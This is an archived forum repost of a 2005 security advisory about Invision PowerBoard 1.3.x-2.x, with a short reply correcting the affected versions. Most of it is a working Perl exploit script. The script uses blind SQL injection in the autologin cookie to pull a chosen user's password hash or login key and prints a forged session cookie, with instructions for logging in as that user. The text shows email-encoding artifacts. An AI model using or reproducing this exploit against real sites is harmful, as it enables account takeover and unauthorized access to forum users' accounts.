This is a bug in <=3D 2.0.3 not 2.*.
/str0ke
On 16 Jul 2005 18:25:35 -0000, zinho@hackerscenter.com
<zinho@hackerscenter.com> wrote:
> Hackers Center Security Group (http://www.hackerscenter.com/)
> Zinho's Security Advisory
>=20
> Desc: Invision PowerBoard 1.3.x - 2.x Privilege escalation through SQL in=
jection
> Risk: High
>=20
>=20
> hacky0u from http://www.h4cky0u.org kindly reported to me an exploit work=
ing against 1.3.x and 2.x versions of Invision Power board.
>=20
> I've coded a quickfix to patch it:
> http://www.hackerscenter.com/archive/view.asp?id=3D3812
>=20
>=20
>=20
> This is the exploit (Full credit to h4cky0u for it):
> #!/usr/bin/perl -w
>=20
> ################################################## ################
> # This one actually worksJust paste the outputted cookie into
> # your request header using livehttpheaders or something and you
> # will probably be logged in as that user. No need to decrypt it!
> # Exploit coded by "ReMuSOMeGa & Nova" and http://www.h4cky0u.org
> ################################################## ################
>=20
> use LWP::UserAgent;
>=20
> $ua =3D new LWP::UserAgent;
> $ua->agent("Mosiac 1.0" . $ua->agent);
>=20
> if (!$ARGV[0]) {$ARGV[0] =3D '';}
> if (!$ARGV[3]) {$ARGV[3] =3D '';}
>=20
> my $path =3D $ARGV[0] . '/index.php?act=3DLogin&CODE=3Dautologin';
> my $user =3D $ARGV[1]; # userid to jack
> my $iver =3D $ARGV[2]; # version 1 or 2
> my $cpre =3D $ARGV[3]; # cookie prefix
> my $dbug =3D $ARGV[4]; # debug?
>=20
> if (!$ARGV[2])
> {
> print "..By ReMuSoMeGa & Nova. Usage: ipb.pl http://forums.site.org [id] =
[ver 1/2]. ";
> exit;
> }
>=20
> my @charset =3D ("0","1","2","3","4","5","6","7","8","9","a","b"," c","d",=
"e","f");
>=20
> my $outputs =3D '';
>=20
> for( $i=3D1; $i < 33; $i++ )
> {
> for( $j=3D0; $j < 16; $j++ )
> {
> my $current =3D $charset[$j];
> my $sql =3D ( $iver < 2 ) ? "99%2527+OR+(id%3d$user+AND+MID(password,$i,1=
)%3d%2527$current%2527)/*" :
> "99%2527+OR+(id%3d$user+AND+MID(member_login_key,$ i,1)%3d%2527$current%25=
27)/*";
> my @cookie =3D ('Cookie' =3D> $cpre . "member_id=3D31337420; " . $cpre . =
"pass_hash=3D" . $sql);
> my $res =3D $ua->get($path, @cookie);
>=20
> # If we get a valid sql request then this
> # does not appear anywhere in the sources
> $pattern =3D '<title>(.*)Log In(.*)</title>';
>=20
> $_ =3D $res->content;
>=20
> if ($dbug) { print };
>=20
> if ( !(/$pattern/) )
> {
> $outputs .=3D $current;
> print "$current ";
> last;
> }
>=20
> }
> if ( length($outputs) < 1 ) { print "Not Exploitable! "; exit; }
> }
> print "Cookie: " . $cpre . "member_id=3D" . $user . ";" . $cpre . "pass_h=
ash=3D" . $outputs;
> exit;
>=20
> # www.h4cky0u.org
>

Likes:
![Re: [HSC Security Group] Invision PowerBoard 1.3.x - 2-x Exploit and Patch](https://www.webhostingtalk.nl/images/WHT_rd/misc/dT.png)
Just paste the outputted cookie into
Quote